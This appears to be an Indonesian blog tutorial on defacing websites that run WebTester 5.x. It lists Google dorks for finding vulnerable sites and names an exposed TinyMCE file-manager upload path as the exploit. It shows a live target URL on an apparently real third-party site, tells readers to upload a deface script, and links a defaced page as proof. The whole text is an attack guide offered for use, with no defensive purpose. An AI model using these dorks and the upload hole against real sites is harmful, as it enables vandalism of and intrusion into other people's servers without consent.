Cara Deface WebTester 5.x Multiple Vulnerabilities

Halo kawan :)
Kali ini saya akan membahas tentang cara deface WebTester 5.x Multiple Vulnerabilities

bahan bahannya :)
secangkir kopi dan komputer terkoneksi internet :v

langsung saja

Dorknya :
- intext:Copyright © 2003 - 2010 Eppler Software
- inurl:/go.php?testIS=
-  inurl:/go.php?testID= 
- intitle:WebTester Online Testing

Exploitnya
/tiny_mce/plugins/filemanager/InsertFile/insert_file.php

contoh :
www.site.com/tiny_mce/plugins/filemanager/InsertFile/insert_file.php

live
http://exam.subhanwesha.org/tiny_mce/plugins/filemanager/InsertFile/insert_file.php

kalau vuln targetnya seperti diatas ^_^

kalau udah kamu tinggal upload script deface kamu ^_^

lalu upload

atau bisa juga kamu cek dengan mencarinya di directory 

hasilnya gini ^_^ :

http://www.snakesandshakes.com/test-images/gundul.html

Salam Newbie ^_^

Artikel terkait :